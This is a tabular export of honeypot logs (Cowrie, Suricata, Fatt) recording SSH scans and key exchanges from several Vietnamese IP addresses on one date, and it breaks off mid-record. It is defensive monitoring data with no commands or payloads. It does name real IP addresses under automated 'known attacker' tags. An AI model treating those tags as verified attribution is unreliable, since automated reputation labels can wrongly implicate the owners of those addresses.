25794	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:10:53.614849+03	2021-09-20 14:15:12.444645+03	{"_id": "KgbmAnwBvYTbRNuE1B2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6869da236584", "@version": "1", "timestamp": "2021-09-20T11:10:53.614849Z", "@timestamp": "2021-09-20T11:10:53.614Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25795	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:54.295938+03	2021-09-20 14:15:12.445645+03	{"_id": "KwbmAnwBvYTbRNuE1B2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "da54e520d054", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:54.295938Z", "@timestamp": "2021-09-20T11:10:54.295Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25796	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:54.513879+03	2021-09-20 14:15:12.446644+03	{"_id": "LAbmAnwBvYTbRNuE1B2d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "da54e520d054", "@version": "1", "timestamp": "2021-09-20T11:10:54.513879Z", "@timestamp": "2021-09-20T11:10:54.513Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25797	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:10:54.295694+03	2021-09-20 14:15:12.448645+03	{"_id": "LQbmAnwBvYTbRNuE1h3W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1950653555257317, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 50200, "dest_port": 22, "timestamp": "2021-09-20T11:10:54.295694Z", "@timestamp": "2021-09-20T11:10:54.295Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25798	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:10:55.068523+03	2021-09-20 14:15:12.449645+03	{"_id": "LwbmAnwBvYTbRNuE1x3w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 32924, "dest_port": 22, "timestamp": "2021-09-20T11:10:55.068523", "@timestamp": "2021-09-20T11:10:55.068Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25799	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:54.623689+03	2021-09-20 14:15:12.450644+03	{"_id": "NQbmAnwBvYTbRNuE2B2F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "f380da35ef70", "@version": "1", "duration": 3.1466853618621826, "timestamp": "2021-09-20T11:10:54.623689Z", "@timestamp": "2021-09-20T11:10:54.623Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25800	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:54.783969+03	2021-09-20 14:15:12.452646+03	{"_id": "MgbmAnwBvYTbRNuE2B2F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "fb53ec7c98a7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:54.783969Z", "@timestamp": "2021-09-20T11:10:54.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25802	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:55.069098+03	2021-09-20 14:15:12.454646+03	{"_id": "OAbmAnwBvYTbRNuE2B2F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "fb53ec7c98a7", "@version": "1", "timestamp": "2021-09-20T11:10:55.069098Z", "@timestamp": "2021-09-20T11:10:55.069Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25803	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:10:51.30052+03	2021-09-20 14:15:12.456644+03	{"_id": "_QbmAnwBvYTbRNuEyxwb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:10:51.300520+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 2154881397528040, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 38356, "dest_port": 22, "timestamp": "2021-09-20T11:10:51.300520Z", "@timestamp": "2021-09-20T11:10:51.300Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
25804	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:51.753317+03	2021-09-20 14:15:12.457645+03	{"_id": "_gbmAnwBvYTbRNuEyxwb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2133894039797962, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55718, "dest_port": 22, "timestamp": "2021-09-20T11:10:51.753317Z", "@timestamp": "2021-09-20T11:10:51.753Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25805	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:51.654724+03	2021-09-20 14:15:12.458646+03	{"_id": "AQbmAnwBvYTbRNuEzB03", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": 